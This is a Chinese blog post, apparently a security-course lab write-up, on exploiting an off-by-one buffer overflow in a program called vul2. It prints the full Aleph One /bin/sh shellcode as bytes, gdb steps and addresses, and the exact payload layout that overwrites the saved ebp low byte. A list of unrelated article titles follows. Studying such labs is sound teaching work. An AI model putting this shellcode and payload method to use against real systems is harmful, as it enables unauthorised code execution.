实验环境、代码、及准备

https://www.cnblogs.com/lqerio/p/12870834.html

vul2

下面只给出有漏洞部分的代码。Vul2问题为sizeof函数在计算时会考虑最后的/0占一字节而strlen不会,同时for循环中用的是i<=,导致虽然nstrcpy函数做了len和out1的比较,但是从argv拷贝到buf数组时,最多可以拷贝201字节,多拷贝的1字节覆盖掉foo函数ebp的最低字节。利用这一点可以实现溢出攻击。

shellcode(构造过程)

原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到  0  的地方改成用 xor  eax,eax,这样可以避免复制字符串时遇到/0 中断。

下面的shellcode长度为45字节(不含/0)

/*

* Aleph One shellcode.

*/

static const char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

exploit2

根据1.2vul2的分析和内存栈的知识可知,内存中由高到低为foo的ebp和buf数组的200字节,构造的payload为201字节,payload[200]覆盖到ebp的低位。需要知道buf的起始地址和ebp的值。

Gdb调试vul2

Gdb ./vul2

Disas foo

得到bar地址 0x804851a

先随便填exploits的payload,先填200字节。调试exploit2

gdb -e exploit2 -s /tmp/vul2

b *0x804851a

r

打印ebp和buf值,得到如图结果。Buf范围为 0xbffffcb8-0xbffffd80 200字节。Ebp为0xbffffd8c。如果覆盖掉ebp最后一字节为00,改变ebp为0xbffffd00,那么ret存放地址位0xbffffd04-0xbffffd08,注意小端。D04-cb8=4c=76字节。

故payload构造方式:15字节nop+45字节shellcode+16字节nop+4字节返回地址(buf起始地址)+120字节nop+0x00

运行

最新文章

  1. vuejs的使用方法
  2. BZOJ1055: [HAOI2008]玩具取名
  3. Hiho coder 1236 2015 北京网络赛 Score
  4. c++调用lua注册的带参数的回调
  5. Jquery.cookie.js 源码和使用方法
  6. Android获取时间
  7. 栈的存储结构和常见操作(c 语言实现)
  8. android media server 解析1-media player service 结构部分
  9. css扁平化博客学习总结(四)content代码实现
  10. POJ - 3608 Bridge Across Islands【旋转卡壳】及一些有趣现象
  11. Git客户端SourceTree回滚到远程仓库和切换分支
  12. Gronwall型不等式
  13. jmeter--001.介绍、下载与安装
  14. mybatis通用mapper源码解析(一)
  15. [React] 01 - Intro: javaScript library for building user interfaces
  16. asp.net 中日期的格式化显示的方法
  17. 查询删除安装rpm -qa | grep -i wrapname
  18. Vmware-虚拟机中ubuntu不能联网问题的解决——NAT方式
  19. WebService 初步入门的理解
  20. 《Hadoop应用开发技术详解》

热门文章

  1. SAP GUI用颜色区分不同的系统
  2. mysql5.5 升级至5.7
  3. Java中的深浅拷贝问题,你清楚吗?
  4. Promise用法
  5. 如何使用 Vuepress
  6. Power of Two Choices 负载均衡
  7. smtplib.py
  8. circus reload
  9. css知识补充
  10. 最简单直接地理解Java软件设计原则之开闭原则